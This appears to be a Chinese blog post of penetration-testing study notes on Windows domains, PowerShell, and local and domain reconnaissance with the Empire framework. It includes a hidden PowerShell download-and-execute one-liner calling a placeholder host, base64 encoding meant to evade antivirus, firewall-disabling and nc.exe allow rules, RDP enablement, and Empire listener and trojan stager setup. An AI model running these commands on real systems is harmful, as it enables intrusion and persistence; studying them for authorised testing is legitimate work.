内网学习笔记


内网学习笔记

一、基础概念学习

工作组work group

使最简单最普通的资源管理模式

将不同的计算机按照功能或部门分别列入不同的工作组,想要访问某个工作组的内容,在“网上邻居”里双击想要访问的工作组即可

加入/创建工作组

控制面板–>系统安全–>系统

重命名这台电脑–>更改

image-20210706100638761

工作组中的计算机是平等的,也被称为对等网站,而对管理者而言,工作组的管理方式有时不太方便,这时候就要学习域的概念了

domain

是一个有安全边界的计算机集合(安全边界就是在两个域中,一个域中的用户无法访问另一个域中的)

可以简单理解为工作组的升级版,域的安全管理机制更加严格,获取什么样权限的资源必须要先登录到域,而且还取决于用户在域中的身份

域控制器 DC

domain controller至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器

域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库

当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源

正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码

内网中的一台主机+安装活动目录=域控

在域中除了域控制器还有成员服务器、客户机、独立服务器

父域和子域

顾名思义,一个域下新建的域就是子域,而这个大的域则是父域

每个域中都有独立的安全策略

域树

是多个域通过建立信任关系组成的集合,活动目录包含一个或多个域树

域树中的域层次越深级别越低,一个“.”代表一个层次

如域child.Microsoft.com 就比 Microsoft.com这个域级别低

而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低

多个域树可以组成一个域林

域森林

是指由一个或多个没有形成连续名字空间的域树组成

与域树之间的区别:

最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成

域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系

域名服务器DNS

是指用于实现域名和与之相对应的ip地址转换的服务器

在内网渗透测试中,大部分是通过寻找dns服务器来确定域控的位置(dns服务器和域控通常配置在同一台机器上)

活动目录 AD

Active Directory

是指域环境中提供目录服务的组件

是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中

如果将内网看做一本字典,那么内网里的资源就是字典的内容,而活动目录相当于字典的索引,活动目录存储的是网络中所有资源的快捷方式,使用活动目录用户就可以通过寻找快捷方式来定位资源

DMZ

demilitarized zone也就是隔离区

DMZ位于内网和外网之间,通常放置一些必须公开但不含机密信息的公开的服务器设施,如web服务器、email服务器、ftp服务器

一般情况下,DMZ不能访问内网和外网,而内网和外网均能访问DMZ,为了保护内网和完成正常的业务

图片

域内权限

学习一下组的概念,在组里包含了很多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行

常见的组有:域本地组、全局组、通用组

域本地组

主要用于授予本域内资源的访问权限

成员范围:所有的域;使用范围:自己所在的域

全局组

只能在创建它的域中添加用户和组,不能添加到不同域的全局组中

成员范围:自己所在的域;使用范围:所有的域

通用组

成员范围:所有的域;使用范围:所有的域

可以这样简单记忆:域本地组来自全林,作用于本域;全局组来自本域,作用于全林;通用组来自全林,作用于全林

AG-D-L-P策略

A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限

  • A 表示用户账号account
  • G 表示全局组global
  • U 表示通用组universal
  • DL 表示域本地组domain local
  • P 表示资源权限permission

二、powershell

什么是powershell

PowerShell 是一种跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。 PowerShell 在 Windows、Linux 和 macOS 上运行

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能

powershell的特点

  • Windows 7 以上的操作系统默认安装
  • PowerShell 脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载 PowerShell 脚本并执行
  • 目前很多工具都是基于 PowerShell 开发的
  • 很多安全软件检测不到 PowerShell 的活动
  • cmd 通常会被阻止运行,但是 PowerShell 不会
  • 可以用来管理活动目录
  • PowerShell 是一种跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。 PowerShell 在 Windows、Linux 和 macOS 上运行

Windows 操作系统对应的 PowerShell 版本信息

1.0 windows server 2008

2.0 windows server 2008 r2、windows 7

3.0 windows server 2012、windows 8

4.0 windows server 2012 r2、windows 8.1

5.0 windows 10

5.1 windows server 2016

基本概念

ps1 文件

ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件

执行策略

为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted(即不能运行)

查询当前执行策略get-executionpolicy

image-20210706204210412

执行策略的种类

Restricted:不能运行脚本

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)

AllSigned:仅当脚本由受信任的发布者签名才能运行。

Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名

设置执行策略

set-executionpolicy 执行策略

运行脚本

输入完整路径或是直接到脚本文件所在目录下使用.\ xxx.ps1

管道

同linux中的管道,就是将管道符|前一个命令的输出作为后一个命令的输入

基本命令

获取版本号

get-host

image-20210706203505337

$psversiontable

image-20210706203518099

文件操作命令

1
2
3
4
5
6
7
8
9
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "hello"
给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt

总结一下就是

新建命令New-Item 目录名/文件名-ItemType directory/file

删除命令Remove-Item 目录名/文件名

查看文件内容get-content

设置文件内容Set-Content 文件名 -Value "设置的内容"

追加文件内容Add-Content 文件名 -Value "追加的内容"

清除文件内容clear-content 文件名

策略绕过

因为默认的执行策略是restricted,要进行绕过,变成unrestricted

1.绕过本地权限并执行

先来看一下默认受限模式下执行脚本的情况

查看策略powershell.exe get-executionpolicy

执行脚本powershell.exe -file 1.ps1

image-20210707174243905

将”hello”写入1.ps1文件 '"hello"'>1.ps1

并执行 powershell.exe -executionpolicy bypass -file 1.ps1

image-20210707180201499

2.绕过本地权限并隐藏执行

上一条命令-executionpolicy bypass之后再加上-windowstyle hidden -nologo -noninteractive -noprofile即可隐藏执行

powershell.exe -executionpolicy bypass -windowstyle hidden -nologo -noninteractive -noprofile -file 1.ps1

执行的话窗口会直接退出,就是隐藏执行

下载远程脚本并隐藏执行

-file 1.ps1替换为"IEX(New-Object Net.WebClient).DownloadString('http://ip/t.ps1')"

powershell.exe -executionpolicy bypass -windowstyle hidden -nologo -noninteractive -noprofile "IEX(New-Object Net.WebClient).DownloadString('http://ip/t.ps1')"

其中隐藏执行的代码可以简写成-Exec Bypass -W Hidden -NoLogo -NonI -NoP

3.使用base64对powershell命令进行编码

使用base64对命令进行编码的目的是为了混淆代码以避免被杀毒软件查杀

这里使用到了ps_encoder.py

ps_encoder.py是使用Base64编码封装的PowerShell命令包,其目的是混淆和压缩代码

ps_encoder.py下载地址

下载好之后,先将要执行的命令保存到文本1.txt中,之后执行python ps_encoder.py -s 1.txt

然后使用-enc指定base编码内容

powershell.exe -exec bypass -enc YwBtAGQA

image-20210707222727431

然后就被火绒拦截了。。

下星期去了解一下免杀

image-20210707213652646

三、内网信息收集之本地信息收集

概述

当进入内网之后,首先对网络环境进行判断,即

  1. 机器角色

    判断是web服务器、文件服务器、代理服务器、dns服务器或是其他类型,需要根据机器的主机名、文件、网络连接等综合判断

  2. 所处的网络环境的拓扑结构

    就是对所处内网进行全面的数据收集和整理分析,大致了解该内网的网络拓扑

  3. 当前机器所处区域

    判断机器处于网络拓扑中的哪个区域,DMZ、办公区还是核心区,也就是其所处的大概位置

一、手动收集本地信息

1.查询网络配置信息

  • 查看当前权限
1
whoami

image-20210709161036865

  • 查询网络配置信息
1
2
ipconfig /all
ifconfig

2.查询操作系统及软件信息

  • 查询操作系统及软件信息
1
2
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
uname -a

image-20210709161910359

  • 查看系统体系结构
1
echo %PROCESSOR_ARCHITECTURE%

image-20210709162129501

  • 查看系统所有环境变量
1
set

image-20210709162258148

  • 查看安装的软件及版本和路径等信息
1
wmic product get name,version

image-20210709162935207

  • 利用 PowerShell 收集软件版本信息
1
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

image-20210709163007956

3.查询本机服务信息

1
wmic service list brief

image-20210709163128489

4.查询进程列表

1
tasklist /v

image-20210709171049226

  • wmic 查看进程信息
1
wmic process list brief

image-20210709171203244

5.查看启动程序信息

1
wmic startup get command,caption

image-20210709171349557

6.查看计划任务

1
schtasks /query /fo LIST /v

image-20210709171612992

7.查看主机开启时间

1
net statistics workstation

image-20210711163948985

8.查询用户列表

1
net user

image-20210711164021432

  • 查看指定用户的信息
1
net user xxx

image-20210711164129428

  • 查看本地管理员用户
1
net localgroup administrators
  • 查看当前在线用户
1
query user || qwinsta

image-20210711164258577

9.列出或断开本地计算机和连接的客户端的会话

1
net session
1
2
3
发生系统错误 5。

拒绝访问。

10.查看端口列表

1
netstat –ano

11.查看补丁列表

查看系统的详细信息

1
systeminfo

image-20210711164721047

  • 使用 wmic 查看补丁列表
1
wmic qfe get Caption,Description,HotFixID,InstalledOn

image-20210711164824760

12.查看本机共享

1
net share

image-20210711164903152

  • 使用 wmic 查看共享列表
1
wmic share get name,path,status

13.查询路由表及所有可用接口的ARP 缓存表

1
2
route printarp –a
arp -a

14.查询防火墙相关配置

    • 关闭防火墙
1
2
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统及之后版本)
  • 查看防火墙配置
1
netsh firewall show config

image-20210711165117441

  • 修改防火墙配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    (Windows Server 2003 系统及之前版本)允许指定程序全部连接
    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

    (Windows Server 2003 之后系统版本)允许指定程序连入
    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"

    允许指定程序连出
    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"

    允许 3389 端口放行
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    • 自定义防火墙日志储存位置
1
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log

15.查看计算机代理配置情况

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

16.查询并开启远程连接服务

    • 查看远程连接端口(0xd3d换成10进制即3389)
1
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

image-20210711165403629

    • 在Windows Server 2003 中开启3389 端口
1
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    • 在Windows Server 2008 和Windows Server 2012 中开启3389 端口
1
2
3
4
5
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

二、自动收集信息

wmic

windows管理工具命令行,在默认情况下,任何版本的XP的低权限用户不能访问wmic,win7以上的低权限用户允许访问并执行相关操作

wmic 脚本下载地址

直接运行这个bat文件,会生成out.html文件

image-20210711132144653

image-20210711132255627

PowerShsell Empire

中文简称 “帝国”,是一款针对 Windows 系统平台而打造的渗透工具

Empire

与msf的区别是:

  • MSF 是全平台的,无论是win,linux,mac都可以打,但 Empire 是只针对 Windows 的
  • MSF 集信息收集,渗透,后渗透,木马,社工的功能为一体,全面多能;而 Empire 专注于内网渗透,它是针对 PowerShell 的

使用了git clone --recursive https://github.com/BC-SECURITY/Empire.gitsudo apt install powershell-empire

wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip都没有成功

image-20210711191031758

最后还是使用docker搭建一下

1
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire
进入容器内部

docker exec -it 容器id bash

运行

./empire

image-20210711191644112

使用

查看帮助信息

image-20210711192600026

设置监听
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(Empire)> listeners #监听

(Empire:listeners) > uselistener http #选择监听方式

(Empire:listeners/http) > info #查看需要配置的选项

(Empire:listeners/http) > set Name backdoor #设置监听名字

(Empire:listeners/http) > set Host http://ip #设置木马反弹回连地址

(Empire:listeners/http) > set Port 4447 #设置本地监听端口

(Empire:listeners/http) > execute #执行监听

(Empire:listeners/http) > back #返回上层模块

image-20210711204158131

1
2
3
4
(Empire: listeners) > usestager windows/launcher_bat backdoo # 选择木马种类

这里选择的是bat类型

使用empire使得主机上线后,收集主机信息主要用到了powershell/situational_awareness/host/winenum模块

powershell/situational_awareness/host/computerdetails模块可查看更丰富的信息,比如RDP登录信息、主机时间日志等等,在运行这个模块时需要管理员权限

总结

常用命令

1
2
3
4
5
6
7
8
9
10
whoami #查看当前权限
ipconfig #查看网络配置
systeminfo #操作系统信息
tasklist /v #查看进程
net user #查询用户列表
netstat -ano #端口
netsh firewall show config #防火墙配置
//工具使用
wmic
empire

四、域内信息收集

1.判断是否存在域

ipconfig /all

查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段

nslookup 解析域名的 IP 地址,查看是否与 DNS 服务器为同一 IP

nslookup 域名

系统详细信息

systeminfo

systeminfo | findstr 域:查看域

当前登录域和域用户

net config workstation

判断主域

net time /domain

2.收集域内基础信息

查看域

net view /domain

查看域内计算机

net view /domain:domain_name

查看域内用户列表

net group /domain

查看域用户组信息

net group "Enterprise Admins" /domain

查看域密码策略信息

net accounts /domain

查看域信任信息

nltest /domain_trusts

3.收集域用户和管理员信息

查询域用户详细信息

wmic useraccount get /all

查询存在的用户

dsquery user

常用的dsquery命令

dsquery computer - 查找目录中的计算机

dsquery contact - 查找目录中的联系人

dsquery subnet - 查找目录中的子网

dsquery group - 查找目录中的组

dsquery ou - 查找目录中的组织单位

dsquery site - 查找目录中的站点

dsquery server - 查找目录中的域控制器

dsquery user - 查找目录中的用户

dsquery quota - 查找目录中的配额

dsquery partition - 查找目录中的分区

dsquery * - 用通用的 LDAP 查询查找目录中的任何对象

4.查找域控

查看域控机器名

nltest /dclist:域名

查看域控主机名

nslookup -type=SRV _ldap._tcp

netdom query pdc

查看域控组

net group "domain controllers" /domain

5.定位域管理员

psloggedon

net session 可以查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机

使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户

参考文章

内网学习笔记 | 1、内网中常见名词解释

内网安全攻防渗透测试实战指南

内网工具学习之Empire后渗透

Empire一款强大的后渗透测试神器


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录